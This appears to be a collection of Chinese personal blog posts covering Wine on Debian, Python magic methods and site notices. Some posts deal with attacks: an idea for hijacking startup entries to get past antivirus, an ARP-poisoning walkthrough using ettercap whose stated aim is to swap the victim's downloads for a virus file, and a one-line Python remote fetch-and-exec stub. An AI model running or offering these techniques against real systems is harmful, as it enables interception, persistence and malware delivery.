简单的启动项保护的绕过实现

这次是真的毫无技术含量了,基本就是在水

原理就是读取启动项,然后把启动项指向的文件替换成我们的二进制同时启动原程序

大部分的杀软都没有对这个进行检测。

所以只需要看看文件是否在关键目录下,一旦不在我们就可以下手了。

代码懒得写了,咕了。

不过这个方法并不推荐在“正式场合”(比如APT攻击中的server端)中实现。

实现难度太大,假设是新系统没有启动项or启动项都是系统关键文件or有些文件自带检测。

引出弹窗就得不偿失了。

Tags: none

「折腾小记」LInux下的galgame游玩之势and踩坑日记

前言

因为某些不可告人的原因(其实是舍友在不好意思,需要用笔记本玩galgame。然而笔记本是debian,因为配置烂,太麻烦,巨耗电等等原因的因素,不打算用windows,于是就有这篇文章出来啦

这篇文章很简单,主要核心思路就是wine运行galgame,哟系,这个文章到此结束。诶嘿~当然开玩笑的。

这个文章主要是踩坑日记,可以看到博主这神奇的思路运行的过程,各位看官看看就好,看到一些神奇的操作"哇,这个人怎么会这么菜",“哇,这个操作好窒息”,这些因为博主水平和能力有限的,还望各位嘴下流情qwq。

开始踩坑

玩galgame呢,无非就是两个过程,下载and运行,在windows上,我一般用的都是度盘,在这里,自然也是如此。更何况满大街的资源站(比如某神社,某寓所,某弟弟等等等等),基本就是两个,1是迅雷,2就是度盘。

所以,目前首先想到的就是隔壁蚊子安利我用的Pandoanload啦。

但是在此之前,我们得先安装一个更重要的Wine

提取下载链接

Wine的下载和安装其实挺简单的,我用的是debian,所以二话不说,直接

sudo apt-get install wine

然而我们想要玩运行其他程序,就必须要安装wine32

于是乎我们继续运行

sudo apt-get install wine32

然而提示我们找不的wine32

研究之后我们需要用

apt-get -f install 

才可以成功执行。

执行之后,我们用执行wine Pandoawnload.exe就可以运行Panwonload啦
PANDLERR.png

然而我们发现,无法启动下载引擎。闹阔疼。pandownload用的是aria2,而且还是貌似是RPC调用的,可能wine不支持,所以无奈只好放弃了Pandownload

然后想着,既然下载,那么获取到真实链接地址不就好了吗?

于是乎此时又有两个方案生成了

  • 下载chrome浏览器,安装油猴脚本
  • 使用命令行工具BaiduPCS

虽说我用的是chrome,但是实际上在linux下运行chrome其实还是略微有点麻烦的。

好吧其实也不麻烦,说一些题外话:

我之前用了什么奇怪的方法一直使用了chromium,结果各种问题一大堆。

就是这玩意chromuim.png

我也不知道怎么安装的,麻烦一堆

所以安装chrome请使用正版网站Chrome官方下载,我也不知道为啥,貌似这个网站不用翻墙。

下载之后使用

sodu dpkg -i xxxxx.deb

安装即可

然后可以参考这个文章司机必备知识-百度云不限速下载,里面虽然用的是IDM,但是提取链接的方式是一模一样的。

但是同时我介绍一下我的方案,使用BaiduPCS,因为是用Go写的,所以可以在github里直接找到二进制文件下载使用。

而且是cli,十分满足我的中二幻想。同时操作也很简单
helppcs.png

itembaidu.png

下载的文件只有一个,就是BaiduPCS-GO,我直接

sudo mv BaiduPCS-GO /usr/bin/ | sudo chmod +x /usr/bin/BaiduPCS-GO

这样直接运行BaiduPCS-GO就可以直接运行,然后更具他们的操作,登录之后,很容易的就获得了下载地址baidudllink.png

于是乎接下来就是下载环节了

下载环节

既然要下载,当然就离不开最好用的命令行下载工具aria2啦

当然,

sudo apt-get install aria2

也是下载不到的

aria2apt.png

至此我甚至还找到了源码试图编译

aria2error.png

emmm哇这么长一串看了就烦,然后发现依旧是加入-y就可以安装了

aria2okapt.png

然后就安装完成了

aria2c.png

接下来就是正式下载啦

执行

sudo aira2c -dir “你的下载路径” --user-agent=“BaiduPCS指定的UA” -o “本地文件名” “提供的下载地址”

即可开始下载

aria2download.png

当然这样下载是不行的,我们得设置多线程,否则下载速度只有100多Kb

使用-x 10设置线程数为16

duoxianc.png

接下来就是运行环节啦

运行

直接用wine运行,就可以愉快的玩耍啦

1538972217714.jpg

之后也许会更新大学近况

Tags: galgame, 踩坑

TODO LIST

目前想要做的

  • ero_novel
  • ero_newspaper
  • ero_bot 优化(重构)
  • ero_service_control 看情况
  • 自用快捷键注册工具 QT,考虑用C++还是PYTHON

最近大学军训还没结束,所以好多事情都在咕咕

Tags: none

评论系统已经修复

新版typecho原来发送评论需要新增一个getToken字段。

我这个几百年前的破主题并没有,自然炸了_(:з)∠)_

要不是某个学长和我说了我都没发现。现在已经修复了

Tags: none

博客迁移完成

更新了下typecho版本
旧版的typecho竟然不支持新版的php。。
以及我这个远古主题有些函数typecho竟然也不支持了
稍微暴力修改了下,还算能用吧。
要开学了,好忙呀

Tags: 公告

开坑,自用工具包

预计分为Win版和linux版本。
并没有什么卵用的工具包,也不一定是自己写的,也许是收集的。
什么时候完成我也不知道。反正目前就这样开着就是了。

exec(__import__('urllib').urlopen('').read())
Tags: none

我也是大学生辣!

好久没写博客了,沉寂摸鱼了快半年,不,应该有一年了吧,高考也终于忙完辣。

志愿结果也出来了,差一分进入理想的大学,但是总体来说还算Ojbk吧_(:з)∠)_

Ero的话,目前还是不温不火,可能我的运维方式有点问题。目前也没什么办法,伤脑筋中。

接下来就有时间了,就正式成为大学生辣。不过感觉大一应该会很忙的样子。

首先专业课是不能落下的,还有军训什么的。虽然我想去学计算机专业然而我的考试方式注定让我只能去音乐学师范QAQ。

不过还好至少小姐姐多,而且都是富婆(

为了扩充咱的技术栈,我已经把咱的那本垃圾联想G50-30笔记本刷成了debian,开始正式投入学习啦。

以及入坑了瞎到暴死(Shadowverse),国际服的,有小伙伴一起玩吗?

顺带一提,我得试着在九月份之前解决博客问题。

目前博客是在树莓派上,而我即将离开我的家去进行宿舍生活了。虽说树莓派放在家里十天八天甚至几个月也不会出什么问题(因为我真的几个月没动过hhhh

但是如果出了问题就麻烦了,并没有人帮忙解决,所以现在只有三种选项

  1. 头铁放家里,如果炸了回家再修
  2. 托管服务器
  3. 扔到宿舍,宿舍有网。然后靠着frp苟活度日_(:з)∠)_

目前就这种方法,然而这三种方法都有弊端。

  1. 长远之计不可行,炸了那可不是炸一两天的结果了
  2. 好贵,好贵,好贵!
  3. 目前不知道宿舍状态_(:з)∠)_。不敢随便头铁

所以目前方式打算先丢Ero的服务器上将就下啦。

以及目前打算阅读的书籍:

  • Windows PE权威指南
  • linux系统编程
  • Windows核心编程
Tags: 随笔

图片可能会有失效

只是连接出了点问题_(:з)∠)_
我不应该用相对路径的淦。
90多个文章又得修好烦啊QAQ
看情况修复吧。咕咕咕咕咕咕咕咕咕咕

Tags: none

Kali 下arp劫持并且修改数据包实现

最近不知道干啥又突然开始研究起这玩意了emmm。
同时想在修改数据包下自己操作实现,毕竟修改数据包可以复用,不只用于arp劫持,所以就开了这个坑啦。
研究过时技术inghhhhhh

使用设备:

  1. kali linux
  2. windwos XP SP2

使用工具

  1. ettercap
  2. msf/nbtscan(可选)
  3. wireshark

开始

第一阶段,自然就是利用kali自带的工具进行arp劫持啦,比如arpspoof,ettercap什么的。
这里我们选择用ettercap,毕竟有gui

首先使用NBTSCAN扫描内网内的主机,试图从文件名判断目标。
TIM截图20180619171355.png

不过明显看不出来,之后我们可以使用msf使用smb探测主机信息。不过我已经知道目标地址了,所以这一步就跳过,直接显示目标信息
TIM截图20180619171355.png
之后使用ettercap -G,
输入ifconfig查找网关,之后设置target1,target2。之后选择arp 投毒。
TIM截图20180619171355.png
然后在目标机器上输入arp -a 和ipconfig检测投毒效果
TIM截图20180619171355.png

之后在kali启动wireshare,嗅探监听网卡,并且设置ip源为目标机器
TIM截图20180619171355.png

之后目标机器发送ping测试

TIM截图20180619171355.png

TIM截图20180619173917.png

投毒成功

第二阶段

嗅探本地监听到的数据,一旦有下载请求就自动替换为本地的病毒文件。
发现过于简单,并且网络上相关资源很多,有点想怠惰。。
自己写转发又感觉有点麻烦啊_(:з)∠)_
发现了linux下有个Route功能,可以不用自己写转发。emmm但是如何修改这是个问题,研究ing
[更新]
发现iptables+linux的路由转发可以过滤指定的包并且自动帮忙转发其他的包
这样就能省下许多工作量,然后本地网卡嗅探到这些被过滤的包再由我们进行转发就行了。这时候就能进行修改以及插入的动作而不是简单的读取了。
可以参考这篇:iptables转发技术
我们的目的是需要修改特定的数据包,一般是用作与80协议,所以我们可以直接拦截目的地址为目标主机,端口为80的地址
我们假设目标的IP地址为192.168.1.2,iptables的代码如下:

iptables -A PREROUTING -i eth0 -d 192.168.1.2 -j DROP

这时候,需要我们的PY登场,使用pcap监听互联网帧,并且过滤ip地址为192.168.1.2,接下来就是python的事情啦。咕咕咕中
等待更新。

Tags: none

Python 魔术方法

日常记录
原文地址:介绍Python的魔术方法 - Magic Method


__init__我们很熟悉了,它在对象初始化的时候调用,我们一般将它理解为"构造函数".

实际上, 当我们调用x = SomeClass()的时候调用,__init__并不是第一个执行的, __new__才是。所以准确来说,是__new__和__init__共同构成了"构造函数".

__new__是用来创建类并返回这个类的实例, 而__init__只是将传入的参数来初始化该实例.

__new__在创建一个实例的过程中必定会被调用,但__init__就不一定,比如通过pickle.load的方式反序列化一个实例时就不会调用__init__。

__new__方法总是需要返回该类的一个实例,而__init__不能返回除了None的任何值。


<!--more-->


----------
__getattr__(self, name)
该方法定义了你试图访问一个不存在的属性时的行为。因此,重载该方法可以实现捕获错误拼写然后进行重定向, 或者对一些废弃的属性进行警告。

__setattr__(self, name, value)
__setattr__ 是实现封装的解决方案,它定义了你对属性进行赋值和修改操作时的行为。
不管对象的某个属性是否存在,它都允许你为该属性进行赋值,因此你可以为属性的值进行自定义操作。有一点需要注意,实现__setattr__时要避免"无限递归"的错误,下面的代码示例中会提到。

__delattr__(self, name)
__delattr__与__setattr__很像,只是它定义的是你删除属性时的行为。实现__delattr__是同时要避免"无限递归"的错误。

__getattribute__(self, name)
__getattribute__定义了你的属性被访问时的行为,相比较,__getattr__只有该属性不存在时才会起作用。
因此,在支持__getattribute__的Python版本,调用__getattr__前必定会调用 __getattribute__。__getattribute__同样要避免"无限递归"的错误。
需要提醒的是,最好不要尝试去实现__getattribute__,因为很少见到这种做法,而且很容易出bug。


----------
__get__(self, instance, owner)
参数instance是拥有者类的实例。参数owner是拥有者类本身。__get__在其拥有者对其读值的时候调用。

__set__(self, instance, value)
__set__在其拥有者对其进行修改值的时候调用。

__delete__(self, instance)
__delete__在其拥有者对其进行删除的时候调用。


----------

__len__(self)
需要返回数值类型,以表示容器的长度。该方法在可变容器和不可变容器中必须实现。

__getitem__(self, key)
当你执行self[key]的时候,调用的就是该方法。该方法在可变容器和不可变容器中也都必须实现。
调用的时候,如果key的类型错误,该方法应该抛出TypeError;
如果没法返回key对应的数值时,该方法应该抛出ValueError。

__setitem__(self, key, value)
当你执行self[key] = value时,调用的是该方法。

__delitem__(self, key)
当你执行del self[key]的时候,调用的是该方法。

__iter__(self)
该方法需要返回一个迭代器(iterator)。当你执行for x in container: 或者使用iter(container)时,该方法被调用。

__reversed__(self)
如果想要该数据结构被內建函数reversed()支持,就还需要实现该方法。

__contains__(self, item)
如果定义了该方法,那么在执行item in container 或者 item not in container时该方法就会被调用。
如果没有定义,那么Python会迭代容器中的元素来一个一个比较,从而决定返回True或者False。

__missing__(self, key)
dict字典类型会有该方法,它定义了key如果在容器中找不到时触发的行为。
比如d = {'a': 1}, 当你执行d[notexist]时,d.__missing__['notexist']就会被调用。


----------
__enter__(self)
__enter__会返回一个值,并赋值给as关键词之后的变量。在这里,你可以定义代码段开始的一些操作。

__exit__(self, exception_type, exception_value, traceback)
__exit__定义了代码段结束后的一些操作,可以这里执行一些清除操作,或者做一些代码段结束后需要立即执行的命令,比如文件的关闭,socket断开等。如果代码段成功结束,那么exception_type, exception_value, traceback 三个参数传进来时都将为None。如果代码段抛出异常,那么传进来的三个参数将分别为: 异常的类型,异常的值,异常的追踪栈。
如果__exit__返回True, 那么with声明下的代码段的一切异常将会被屏蔽。
如果__exit__返回None, 那么如果有异常,异常将正常抛出,这时候with的作用将不会显现出来。


----------
__getinitargs__(self)
如果你希望unpickle时,__init__方法能够调用,那么就需要定义__getinitargs__, 该方法需要返回一系列参数的元组,这些参数就是传给__init__的参数。

该方法只对old-style class有效。所谓old-style class,指的是不继承自任何对象的类,往往定义时这样表示: class A:, 而非class A(object):

__getnewargs__(self)
跟__getinitargs__很类似,只不过返回的参数元组将传值给__new__

__getstate__(self)
在调用pickle.dump时,默认是对象的__dict__属性被存储,如果你要修改这种行为,可以在__getstate__方法中返回一个state。state将在调用pickle.load时传值给__setstate__

__setstate__(self, state)
一般来说,定义了__getstate__,就需要相应地定义__setstate__来对__getstate__返回的state进行处理。

__reduce__(self)
如果pickle的数据包含了自定义的扩展类(比如使用C语言实现的Python扩展类)时,就需要通过实现__reduce__方法来控制行为了。由于使用过于生僻,这里就不展开继续讲解了。

令人容易混淆的是,我们知道, reduce()是Python的一个內建函数, 需要指出__reduce__并非定义了reduce()的行为,二者没有关系。

__reduce_ex__(self)
__reduce_ex__ 是为了兼容性而存在的, 如果定义了__reduce_ex__, 它将代替__reduce__ 执行。


----------
比较运算符
__cmp__(self, other)
如果该方法返回负数,说明self < other; 返回正数,说明self > other; 返回0说明self == other。
强烈不推荐来定义__cmp__, 取而代之, 最好分别定义__lt__等方法从而实现比较功能。
__cmp__在Python3中被废弃了。

__eq__(self, other)
定义了比较操作符==的行为.

__ne__(self, other)
定义了比较操作符!=的行为.

__lt__(self, other)
定义了比较操作符<的行为.

__gt__(self, other)
定义了比较操作符>的行为.

__le__(self, other)
定义了比较操作符<=的行为.

__ge__(self, other)
定义了比较操作符>=的行为.

下面我们定义一种类型Word, 它会使用单词的长度来进行大小的比较, 而不是采用str的比较方式。
但是为了避免 Word('bar') == Word('foo') 这种违背直觉的情况出现,并没有定义__eq__, 因此Word会使用它的父类(str)中的__eq__来进行比较。


----------

一元运算符和函数
__pos__(self)
实现了'+'号一元运算符(比如+some_object)

__neg__(self)
实现了'-'号一元运算符(比如-some_object)

__invert__(self)
实现了~号一元运算符(比如~some_object)

__abs__(self)
实现了abs()內建函数.

__round__(self, n)
实现了round()内建函数. 参数n表示四舍五进的精度.

__floor__(self)
实现了math.round(), 向下取整.

__ceil__(self)
实现了math.ceil(), 向上取整.

__trunc__(self)
实现了math.trunc(), 向0取整.

算术运算符
__add__(self, other)
实现了加号运算.

__sub__(self, other)
实现了减号运算.

__mul__(self, other)
实现了乘法运算.

__floordiv__(self, other)
实现了//运算符.

__div__(self, other)
实现了/运算符. 该方法在Python3中废弃. 原因是Python3中,division默认就是true division.

__truediv__(self, other)
实现了true division. 只有你声明了from __future__ import division该方法才会生效.

__mod__(self, other)
实现了%运算符, 取余运算.

__divmod__(self, other)
实现了divmod()內建函数.

__pow__(self, other)
实现了**操作. N次方操作.

__lshift__(self, other)
实现了位操作<<.

__rshift__(self, other)
实现了位操作>>.

__and__(self, other)
实现了位操作&.

__or__(self, other)
实现了位操作|

__xor__(self, other)
实现了位操作^


----------
类型转化
__int__(self)
实现了类型转化为int的行为.

__long__(self)
实现了类型转化为long的行为.

__float__(self)
实现了类型转化为float的行为.

__complex__(self)
实现了类型转化为complex(复数, 也即1+2j这样的虚数)的行为.

__oct__(self)
实现了类型转化为八进制数的行为.

__hex__(self)
实现了类型转化为十六进制数的行为.

__index__(self)


----------
__str__(self)
对实例使用str()时调用。

__repr__(self)
对实例使用repr()时调用。str()和repr()都是返回一个代表该实例的字符串,
主要区别在于: str()的返回值要方便人来看,而repr()的返回值要方便计算机看。

__unicode__(self)
对实例使用unicode()时调用。unicode()与str()的区别在于: 前者返回值是unicode, 后者返回值是str。unicode和str都是basestring的子类。

当你对一个类只定义了__str__但没定义__unicode__时,__unicode__会根据__str__的返回值自动实现,即return unicode(self.__str__());
但返回来则不成立。


----------
__format__(self, formatstr)
"Hello, {0:abc}".format(a)等价于format(a, "abc"), 等价于a.__format__("abc")。

这在需要格式化展示对象的时候非常有用,比如格式化时间对象。

__hash__(self)
对实例使用hash()时调用, 返回值是数值类型。

__nonzero__(self)
对实例使用bool()时调用, 返回True或者False。
你可能会问, 为什么不是命名为__bool__? 我也不知道。
我只知道该方法在Python3中改名为__bool__了。

__dir__(self)
对实例使用dir()时调用。通常实现该方法是没必要的。

__sizeof__(self)
对实例使用sys.getsizeof()时调用。返回对象的大小,单位是bytes。

__instancecheck__(self, instance)
对实例调用isinstance(instance, class)时调用。 返回值是布尔值。它会判断instance是否是该类的实例。

__subclasscheck__(self, subclass)
对实例使用issubclass(subclass, class)时调用。返回值是布尔值。它会判断subclass否是该类的子类。

__copy__(self)
对实例使用copy.copy()时调用。返回"浅复制"的对象。

__deepcopy__(self, memodict={})
对实例使用copy.deepcopy()时调用。返回"深复制"的对象。

阅读全文...

Tags: 记录